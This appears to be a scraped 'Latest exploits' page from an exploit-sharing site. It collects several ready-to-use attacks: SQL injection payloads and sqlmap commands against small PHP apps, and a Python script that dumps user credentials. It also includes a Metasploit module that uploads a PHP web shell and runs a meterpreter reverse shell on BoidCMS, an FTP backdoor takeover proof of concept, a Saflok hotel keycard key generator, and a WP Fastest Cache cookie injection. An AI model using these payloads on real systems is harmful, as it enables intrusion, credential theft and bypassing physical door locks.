Latest exploits :: CodePwn

<pre><code># Exploit Title: Simple Student Attendance System v1.0 - 'classid' Time Based Blind & Union Based SQL Injection # Date: 26 December 2023 # Exploit Author: Gnanaraj Mauviel (@0xm3m) # Vendor: oretnom23 # Vendor Homepage: https://www.sourcecodester.com/php/17018/simple-student-attendance-system-using-php-and-mysql.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-attendance.zip # Version: v1.0 # Tested on: Mac OSX, XAMPP, Apache, MySQL ------------------------------------------------------------------------------------------------------------------------------------------- Source Code(/php-attendance/classes/actions.class.php): public function attendanceStudents($class_id = "", $class_date = ""){ if(empty($class_id) || empty($class_date)) return []; $sql = "SELECT `students_tbl`.*, COALESCE((SELECT `status` FROM `attendance_tbl` where `student_id` = `students_tbl`.id and `class_date` = '{$class_date}' ), 0) as `status` FROM `students_tbl` where `class_id` = '{$class_id}' order by `name` ASC"; $qry = $this->conn->query($sql); $result = $qry->fetch_all(MYSQLI_ASSOC); return $result; } -> sqlmap -u "http://localhost/php-attendance/?page=attendance&class_id=446&class_date=0002-02-20" --batch --- Parameter: class_id (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: page=attendance&class_id=446' AND (SELECT 5283 FROM (SELECT(SLEEP(5)))zsWT) AND 'nqTi'='nqTi&class_date=0002-02-20 Type: UNION query Title: Generic UNION query (NULL) - 6 columns Payload: page=attendance&class_id=446' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7171717671,0x7154766a5453645a7a4d497071786a6f4b647a5a6d4162756c72636b4a4555746d555a5a71614d4c,0x71767a7a71),NULL-- -&class_date=0002-02-20 --- --------------- # Exploit Title: Simple Student Attendance System - Time Based Blind SQL Injection # Date: 26 December 2023 # Exploit Author: Gnanaraj Mauviel (@0xm3m) # Vendor: oretnom23 # Vendor Homepage: https://www.sourcecodester.com/php/17018/simple-student-attendance-system-using-php-and-mysql.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-attendance.zip # Version: v1.0 # Tested on: Mac OSX, XAMPP, Apache, MySQL ------------------------------------------------------------------------------------------------------------------------------------------- Source Code(/php-attendance/classes/actions.class.php): public function delete_student(){ extract($_POST); $delete = $this->conn->query("DELETE FROM `students_tbl` where `id` = '{$id}'"); if($delete){ $_SESSION['flashdata'] = [ 'type' => 'success', 'msg' => "Student has been deleted successfully!" ]; return [ "status" => "success" ]; }else{ $_SESSION['flashdata'] = [ 'type' => 'danger', 'msg' => "Student has failed to deleted due to unknown reason!" ]; return [ "status" => "error", "Student has failed to deleted!" ]; } } -> sqlmap -u "http://localhost/php-attendance/ajax-api.php?action=delete_student" --data="id=7" --technique=T --batch --- Parameter: id (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=7' AND (SELECT 3738 FROM (SELECT(SLEEP(5)))kVAW) AND 'vAFW'='vAFW --- </code></pre>

<pre><code># Exploit Title: Enrollment System v1.0 - SQL Injection # Date: 27 December 2023 # Exploit Author: Gnanaraj Mauviel (@0xm3m) # Vendor: Obi08 # Vendor Homepage: https://github.com/Obi08/Enrollment_System # Software Link: https://github.com/Obi08/Enrollment_System # Version: v1.0 # Tested on: Mac OSX, XAMPP, Apache, MySQL ------------------------------------------------------------------------------------------------------------------------------------------- from bs4 import BeautifulSoup import requests import urllib3 #The Config class defines three class attributes: BASE_URL, URI, and PAYLOAD. #BASE_URL is set to the string "http://localhost/enrollment_system". #URI is set to the string "/get_subject.php". #PAYLOAD is set to the string "emc' union select 1,concat(user_type,'::',username,'::',password),3,4,5,6 from users-- -". class Config: BASE_URL = "http://localhost/enrollment_system" URI = '/get_subject.php' PAYLOAD = "emc' union select 1,concat(user_type,'::',username,'::',password),3,4,5,6 from users-- -" urllib3.disable_warnings() proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'} #This code defines a function called exploit_sqli that exploits a SQL injection vulnerability in a given URL. It takes in a requests.Session object and a Config object as parameters. The function constructs a URL using the BASE_URL and URI properties from the Config object, and creates a dictionary of parameters with a key of 'keyword' and a value of the PAYLOAD property from the Config object. #The function then tries to make a request using the make_request function and returns the response text if successful. If an exception is raised during the request, it prints an error message and returns an empty string. def exploit_sqli(session: requests.Session, config: Config) -> str: """ Exploits SQL injection vulnerability in the given URL. Args: session (requests.Session): The session object to use for making the request. config (Config): Configuration object containing base URL, URI, and payload. Returns: str: The response text from the request. """ url = f"{config.BASE_URL}{config.URI}" params = {'keyword': config.PAYLOAD} try: response = make_request(session, url, params) return response.text except requests.RequestException as e: print(f"Request failed: {e}") return "" #This code defines a function called make_request that takes in a requests.Session object, a URL string, and a dictionary of parameters. It makes a POST request using the provided session and parameters, and returns the response object. The function has type hints indicating the types of the arguments and the return value. def make_request(session: requests.Session, url: str, params: dict) -> requests.Response: """ Make a POST request with error handling. Args: session (requests.Session): The session object to use for making the request. url (str): The URL to send the request to. params (dict): The parameters to include in the request. Returns: requests.Response: The response object. """ return session.post(url, data=params, verify=False, proxies=proxies) #This code snippet defines a function called parse_html that takes a string parameter response_text. It uses the BeautifulSoup library to parse the HTML in response_text and extract specific data from it. It finds all <tr> elements in the HTML, skips the header row, and then iterates over the remaining rows. For each row, it finds all <td> elements and extracts the text content from the second and third column. Finally, it prints a formatted string that includes the extracted data. def parse_html(response_text: str): soup = BeautifulSoup(response_text, 'html.parser') rows = soup.find_all('tr')[1:] # Skip the header row for row in rows: columns = row.find_all('td') if columns: subject_code = columns[1].text.strip() subject_description = columns[2].text.strip() print(f"User_Type::Username::Password == {subject_code}") if __name__ == "__main__": # file deepcode ignore MissingClose: <please specify a reason of ignoring this> session = requests.Session() response = exploit_sqli(session, Config) if response: parse_html(response) </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework # ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'BoidCMS Command Injection', 'Description' => %q{ This module leverages CVE-2023-38836, an improper sanitization bug in BoidCMS version 2.0.0 and below. BoidCMS allows the authenticated upload of a php file as media if the file has the GIF header, even if the file is a php file. }, 'License' => MSF_LICENSE, 'Author' => [ '1337kid', # Discovery 'bwatters-r7' # Metasploit Module ], 'References' => [ [ 'CVE', '2023-38836' ], [ 'URL', 'https://github.com/1337kid/CVE-2023-38836'] ], 'Privileged' => false, 'Arch' => ARCH_CMD, 'Targets' => [ [ 'nix Command', { 'Platform' => ['linux', 'unix', 'python'], 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', 'FETCH_COMMAND' => 'WGET', 'FETCH_WRITABLE_DIR' => '/tmp' } } ], [ 'Windows Command', { 'Platform' => ['windows', 'python'], 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter_reverse_tcp', 'FETCH_WRITABLE_DIR' => '%TEMP%', 'FETCH_COMMAND' => 'CURL' } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2023-07-13', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'The path', '']), OptString.new('CMS_USERNAME', [true, 'Username', 'admin']), OptString.new('CMS_PASSWORD', [true, 'Password', 'password']), OptString.new('PHP_FILENAME', [true, 'The name for the php file to upload', "#{Rex::Text.rand_text_alphanumeric(5..11)}.php"]) ]) @token = nil @shell_filename = nil end def check res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin'), 'keep_cookies' => true, 'method' => 'GET' ) if res && res.code == 200 title = res.get_html_document.xpath('//title').first.to_s return Exploit::CheckCode::Detected('Detected BoidCMS, but the version is unknown.') if title.include?('BoidCMS') end return Exploit::CheckCode::Safe('Unable to retrieve BoidCMS title page') end def extract_token(res) token = nil if res && res.code == 200 token = res.get_html_document.xpath("//input[@name='token']/@value").first end token end def cms_token # initial login return @token unless @token.nil? vprint_status('Getting Token') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin'), 'keep_cookies' => true, 'method' => 'GET' ) @token = extract_token(res) end def cms_login?(login_token) vprint_status('Logging into CMS') cms_password = datastore['CMS_PASSWORD'] cms_username = datastore['CMS_USERNAME'] vars_form_data = [ { 'name' => 'username', 'data' => cms_username }, { 'name' => 'password', 'data' => cms_password }, { 'name' => 'login', 'data' => 'Login' }, { 'name' => 'token', 'data' => login_token.to_s } ] res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin'), 'method' => 'POST', 'keep_cookies' => true, 'vars_form_data' => vars_form_data ) res && res.code == 302 end def upload_php?(login_token, shell_filename) vprint_status("Uploading PHP file #{shell_filename}") vars_form_data = [ { 'name' => 'file', 'data' => 'GIF89a;\n<?php system($_GET["cmd"]) ?>', 'filename' => shell_filename }, { 'name' => 'token', 'data' => login_token.to_s }, { 'name' => 'upload', 'data' => 'Upload' } ] res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin'), 'method' => 'POST', 'keep_cookies' => true, 'vars_get' => { 'page' => 'media' }, 'vars_form_data' => vars_form_data ) res && res.code == 302 end def launch_payload(shell_filename, payload_cmd) # send the command to the php page vprint_status('launching Payload') send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/media/#{shell_filename}"), 'method' => 'GET', 'keep_cookies' => true, 'vars_get' => { 'cmd' => payload_cmd } ) end def exploit @shell_filename = datastore['PHP_FILENAME'] login_token = cms_token fail_with(Failure::UnexpectedReply, 'Failed to retrieve token for login') if login_token.nil? fail_with(Failure::UnexpectedReply, 'Failed to log in') unless cms_login?(login_token) if upload_php?(login_token, @shell_filename) register_file_for_cleanup @shell_filename launch_payload(@shell_filename, payload.encoded) else fail_with(Failure::UnexpectedReply, 'Failed to upload php files') end end end </code></pre>

<pre><code>- Title: Membership Management System - SQL injection - Application: Hospital Management System - Date: 01.03.2024 - Bugs: SQL injection - Exploit Author: SoSPiro - Vendor Homepage: https://codeastro.com/author/nbadmin/ - Software Link: https://codeastro.com/membership-management-system-in-php-with-source-code/ - Version: 1.0 - Tested on: Windows 10 64 bit Wampserver ### Vulnerability Description: The provided payload in the POST request indicates a potential SQL injection vulnerability. Specifically, the manipulation within the email and password parameters suggests an attempt to influence the SQL query directly, presenting a risk for exploiting security vulnerabilities. ### SQL Injection: This manipulated submission aims to affect the SQL query by incorporating user input. For instance, the use of **sleep(5)** introduces a time-delay technique, indicative of a potential resource-consuming attack vector by malevolent actors. ### Proof of Concept (PoC): Below is an example payload illustrating the SQL injection vulnerability: ``` email=test@123.asd' + (SELECT * FROM (SELECT (SLEEP(5)))a) +'&password=admin' or '1'='1'&login= ``` In this example, the **sleep(5)** function is employed to induce a time delay, followed by the use of or **'1'='1'** in the password control section, aiming to always evaluate as true. - Request Response [PoC FoTo](https://gcdnb.pbrd.co/images/9k8xy4YRomp3.png?o=1) ### Vulnerable Code Section: ```php $email = $_POST['email']; $password = $_POST['password']; $hashed_password = md5($password); $sql = "SELECT * FROM users WHERE email = '$email' AND password = '$hashed_password'"; ``` The provided PHP code section exacerbates the SQL injection risk by directly incorporating user input into the SQL query. To mitigate this vulnerability, the use of parameterized queries or prepared statements is recommended. ## Reproduce: https://sospiro014.github.io/Membership-Management-System-SQL-injection </code></pre>

<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024 Original source: https://malvuln.com/advisory/2a442d3da88f721a786ff33179c664b7.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Agent.amt Vulnerability: Authentication Bypass Description: The malware can run an FTP server which listens on TCP port 2121. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders can then upload executables using ftp PASV, STOR commands, this can result in remote code execution. Family: Agent Type: PE32 MD5: 2a442d3da88f721a786ff33179c664b7 Vuln ID: MVID-2024-0673 Disclosure: 02/28/2024 Exploit/PoC: C:\sec>nc64.exe 192.168.18.125 2121 220 Welcome To mybr Ftp! USER gg 331 Password required for gg. PASS gg 230 User gg logged in. SYST 215 UNIX Type: L8 Internet Component Suite CDUP 250 CWD command successful. "C:/" is current directory. PASV 227 Entering Passive Mode (192,168,18,125,211,164). STOR DOOM_SM.exe 150 Opening data connection for DOOM_SM.exe. 226 File received ok from socket import * import time HOST = "192.168.18.125" PORT = 54180 BUF_SIZE = 32 s=socket(AF_INET, SOCK_STREAM) s.connect((HOST, PORT)) with open("DOOM_SM.exe", "rb") as f: while True: bytez = f.read(BUF_SIZE) if not bytez: break s.send(bytez) time.sleep(0.5) print("By malvuln") s.close() 1/23/2024 9:13:03 PM - gg - 0.0.0.0 Disconnected 1/23/2024 9:10:36 PM - gg - 0.0.0.0 STOR C:\DOOM_SM.exe 1/23/2024 9:09:54 PM - gg - PASV C:\ 1/23/2024 9:09:44 PM - CD C:\ 1/23/2024 9:09:44 PM - gg - CDUP C:\ 1/23/2024 9:09:18 PM - gg - SYST C:\ 1/23/2024 9:09:15 PM - gg 1/23/2024 9:09:15 PM - gg - PASS C:\TEMP\hate 1/23/2024 9:09:12 PM - - USER C:\TEMP\gg 1/23/2024 9:09:06 PM - - Connected 1/23/2024 9:08:58 PM - FTP Started Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>

<pre><code>// Exploit Title: Saflok KDF // Date: 2023-10-29 // Exploit Author: a51199deefa2c2520cea24f746d899ce // Vendor Homepage: https://www.dormakaba.com/ // Version: System 6000 // Tested on: Dormakaba Saflok cards // CVE: N/A #include <stdio.h> #include <stdint.h> #define MAGIC_TABLE_SIZE 192 #define KEY_LENGTH 6 #define UID_LENGTH 4 int main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s <32-bit uid value in hexadecimal format>\n", argv[0]); return 1; } uint8_t magic_table[MAGIC_TABLE_SIZE] = { 0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xF0, 0x57, 0xB3, 0x9E, 0xE3, 0xD8, 0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x96, 0x9D, 0x95, 0x4A, 0xC1, 0x57, 0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x8F, 0x43, 0x58, 0x0D, 0x2C, 0x9D, 0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xFF, 0xCC, 0xE0, 0x05, 0x0C, 0x43, 0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x34, 0x1B, 0x15, 0xA6, 0x90, 0xCC, 0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x89, 0x58, 0x56, 0x12, 0xE7, 0x1B, 0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xBB, 0x74, 0xB0, 0x95, 0x36, 0x58, 0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xFB, 0x97, 0xF8, 0x4B, 0x5B, 0x74, 0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xC9, 0xD1, 0x88, 0x35, 0x9F, 0x92, 0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x8F, 0x92, 0xE9, 0x7F, 0x58, 0x97, 0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x16, 0x6C, 0xA2, 0xB0, 0x9F, 0xD1, 0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x27, 0xDD, 0x93, 0x10, 0x1C, 0x6C, 0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xDA, 0x3E, 0x3F, 0xD6, 0x49, 0xDD, 0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x58, 0xDD, 0xED, 0x07, 0x8E, 0x3E, 0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x5C, 0xD0, 0x05, 0xCF, 0xD9, 0x07, 0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x11, 0x8D, 0xD0, 0x01, 0x87, 0xD0 }; uint8_t uid[UID_LENGTH]; sscanf(argv[1], "%2hhx%2hhx%2hhx%2hhx", &uid[0], &uid[1], &uid[2], &uid[3]); uint8_t magic_byte = (uid[3] >> 4) + (uid[2] >> 4) + (uid[0] & 0x0F); uint8_t magickal_index = (magic_byte & 0x0F) * 12 + 11; uint8_t key[KEY_LENGTH] = {magic_byte, uid[0], uid[1], uid[2], uid[3], magic_byte}; uint8_t carry_sum = 0; for (int i = KEY_LENGTH - 1; i >= 0 && magickal_index >= 0; i--, magickal_index--) { uint16_t keysum = key[i] + magic_table[magickal_index]; key[i] = (keysum & 0xFF) + carry_sum; carry_sum = keysum >> 8; } printf("Generated Key: "); for (int i = 0; i < KEY_LENGTH; i++) { printf("%02X", key[i]); } printf("\n"); return 0; } </code></pre>

<pre><code># Exploit Title: Blood Bank v1.0 SQL Injection Vulnerability # Date: 2023-11-14 # Exploit Author: Ersin Erenler # Vendor Homepage: https://code-projects.org/blood-bank-in-php-with-source-code # Software Link: https://download-media.code-projects.org/2020/11/Blood_Bank_In_PHP_With_Source_code.zip # Version: 1.0 # Tested on: Windows/Linux, Apache 2.4.54, PHP 8.2.0 # CVE : CVE-2023-46014, CVE-2023-46017, CVE-2023-46018 ------------------------------------------------------------------------------- 1. Description: The lack of proper input validation and sanitization on the 'hemail' and 'hpassword' parameters allows an attacker to craft SQL injection queries, bypassing authentication mechanisms and gaining unauthorized access to the database. Vulnerable File: /hospitalLogin.php Parameter Names: hemail, hpassword 2. Proof of Concept: ---------------------- Execute sqlmap using either the 'hemain' or 'hpassword' parameter to retrieve the current database: sqlmap -u "http://localhost/bloodbank/file/hospitalLogin.php" --method POST --data "hemail=test@test&hpassword=test&hlogin=Login" -p hemail --risk 3 --level 3 --dbms mysql --batch --current-db SQLMap Response: ---------------------- Parameter: hemail (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: hemail=test@test' AND 3778=(SELECT (CASE WHEN (3778=3778) THEN 3778 ELSE (SELECT 9754 UNION SELECT 4153) END))-- -&hpassword=test&hlogin=Login Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: hemail=test@test' OR (SELECT 3342 FROM(SELECT COUNT(*),CONCAT(0x716a7a6b71,(SELECT (ELT(3342=3342,1))),0x7170767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- NSQu&hpassword=test&hlogin=Login Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: hemail=test@test' AND (SELECT 5639 FROM (SELECT(SLEEP(5)))ulgW)-- QYnb&hpassword=test&hlogin=Login Type: UNION query Title: Generic UNION query (NULL) - 6 columns Payload: hemail=test@test' UNION ALL SELECT CONCAT(0x716a7a6b71,0x567a4f6f4b556976707668696878754f48514d6e63424a706f70714e6f62684f504a7a565178736a,0x7170767a71),NULL,NULL,NULL,NULL,NULL-- -&hpassword=test&hlogin=Login ------------------------------------------------------------------------------- 1. Description: The lack of proper input validation and sanitization on the 'remail' and 'rpassword' parameters allows an attacker to craft SQL injection queries, bypassing authentication mechanisms and gaining unauthorized access to the database Vulnerable File: /receiverLogin.php Parameter Names: remail, rpassword 2. Proof of Concept: ---------------------- Execute sqlmap using either the 'remail' or 'rpassword' parameter to retrieve the current database: sqlmap -u "http://localhost/bloodbank/file/receiverLogin.php" --method POST --data "remail=test@test&rpassword=test&rlogin=Login" -p remail --risk 3 --level 5 --dbms mysql --batch --current-db sqlmap -u "http://localhost/bloodbank/file/hospitalLogin.php" --method POST --data "hemail=test@test&hpassword=test&hlogin=Login" -p rpassword --risk 3 --level 5 --dbms mysql --batch --current-db SQLMap Response: ---------------------- --- Parameter: remail (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: remail=test@test' AND 1348=(SELECT (CASE WHEN (1348=1348) THEN 1348 ELSE (SELECT 5898 UNION SELECT 1310) END))-- -&rpassword=test&rlogin=Login Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: remail=test@test' OR (SELECT 9644 FROM(SELECT COUNT(*),CONCAT(0x7170707171,(SELECT (ELT(9644=9644,1))),0x7178706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- HyEh&rpassword=test&rlogin=Login Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: remail=test@test' AND (SELECT 5587 FROM (SELECT(SLEEP(5)))hWQj)-- NUfN&rpassword=test&rlogin=Login Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: remail=test@test' UNION ALL SELECT NULL,CONCAT(0x7170707171,0x4e764e5452486270544a6e4c705a79535a667441756d556b416e7961484a534a647542597a61466f,0x7178706271),NULL,NULL,NULL,NULL,NULL-- -&rpassword=test&rlogin=Login --- --- Parameter: rpassword (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: remail=test@test&rpassword=test' AND 9149=(SELECT (CASE WHEN (9149=9149) THEN 9149 ELSE (SELECT 9028 UNION SELECT 5274) END))-- -&rlogin=Login Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: remail=test@test&rpassword=test' OR (SELECT 6087 FROM(SELECT COUNT(*),CONCAT(0x7170707171,(SELECT (ELT(6087=6087,1))),0x7178706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VRqW&rlogin=Login Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: remail=test@test&rpassword=test' AND (SELECT 4449 FROM (SELECT(SLEEP(5)))eegb)-- Cuoy&rlogin=Login Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: remail=test@test&rpassword=test' UNION ALL SELECT NULL,CONCAT(0x7170707171,0x6e686d776376736a706f47796d474a736a48566f72625a4e6d537247665a444f684154684b476d62,0x7178706271),NULL,NULL,NULL,NULL,NULL-- -&rlogin=Login --- ------------------------------------------------------------------------------- # Description: The lack of proper input validation and sanitization on the 'remail' parameter allows an attacker to craft SQL injection queries, bypassing authentication mechanisms and gaining unauthorized access to the database. Vulnerable File: /receiverReg.php Parameter Name: remail # Proof of Concept: ---------------------- 1. Save the POST request of receiverReg.php to a request.txt file --- POST /bloodbank/file/receiverReg.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------2653697510272605730288393868 Content-Length: 877 Origin: http://localhost Connection: close Referer: http://localhost/bloodbank/register.php Cookie: PHPSESSID=<some-cookie-value> Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 -----------------------------2653697510272605730288393868 Content-Disposition: form-data; name="rname" test -----------------------------2653697510272605730288393868 Content-Disposition: form-data; name="rbg" A+ -----------------------------2653697510272605730288393868 Content-Disposition: form-data; name="rcity" test -----------------------------2653697510272605730288393868 Content-Disposition: form-data; name="rphone" 05555555555 -----------------------------2653697510272605730288393868 Content-Disposition: form-data; name="remail" test@test -----------------------------2653697510272605730288393868 Content-Disposition: form-data; name="rpassword" test123 -----------------------------2653697510272605730288393868 Content-Disposition: form-data; name="rregister" Register -----------------------------2653697510272605730288393868-- --- 2. Execute sqlmap using 'remail' parameter to retrieve the current database: sqlmap -r request.txt -p remail --risk 3 --level 3 --dbms mysql --batch --current-db </code></pre>

<pre><code># Exploit Title: Unauthenticated SQL Injection in WP Fastest Cache 1.2.2 # Date: 14.11.2023 # Exploit Author: Meryem Taşkın # Vendor Homepage: https://www.wpfastestcache.com/ # Software Link: https://wordpress.org/plugins/wp-fastest-cache/ # Version: WP Fastest Cache 1.2.2 # Tested on: WP Fastest Cache 1.2.2 # CVE: CVE-2023-6063 ## Description An SQL injection vulnerability exists in version 1.2.2 of the WP Fastest Cache plugin, allowing an attacker to trigger SQL queries on the system without authentication. ## Vuln Code public function is_user_admin(){ global $wpdb; foreach ((array)$_COOKIE as $cookie_key => $cookie_value){ if(preg_match("/wordpress_logged_in/i", $cookie_key)){ $username = preg_replace("/^([^\|]+)\|.+/", "$1", $cookie_value); break; } } if(isset($username) && $username){ $res = $wpdb->get_var("SELECT `$wpdb->users`.`ID`, `$wpdb->users`.`user_login`, `$wpdb->usermeta`.`meta_key`, `$wpdb->usermeta`.`meta_value` FROM `$wpdb->users` INNER JOIN `$wpdb->usermeta` ON `$wpdb->users`.`user_login` = \"$username\" AND # $username varible is not escaped vulnerable to SQL injection ..... ## Exploit GET / HTTP/1.1 Cookie: wordpress_logged_in_1=%22%20AND%20%28SELECT%201%20FROM%20%28SELECT%28SLEEP%285%29%29A%29%20AND%20%221%22%3D%221 Host: meryem.local ## Parameter: Cookie #1* ((custom) HEADER) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: wordpress_logged_in_dsadasdasd=" AND (SELECT 3809 FROM (SELECT(SLEEP(5)))RDVP) AND "HQDg"="HQDg --- ## References - [WPScan Blog Post](https://wpscan.com/blog/unauthenticated-sql-injection-vulnerability-addressed-in-wp-fastest-cache-1-2-2/) - [WPScan Vulnerability](https://wpscan.com/vulnerability/30a74105-8ade-4198-abe2-1c6f2967443e/) - [CVE-2023-6063](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-6063) ## Credits - Original Researcher: Alex Sanford - PoC: Meryem Taşkın </code></pre>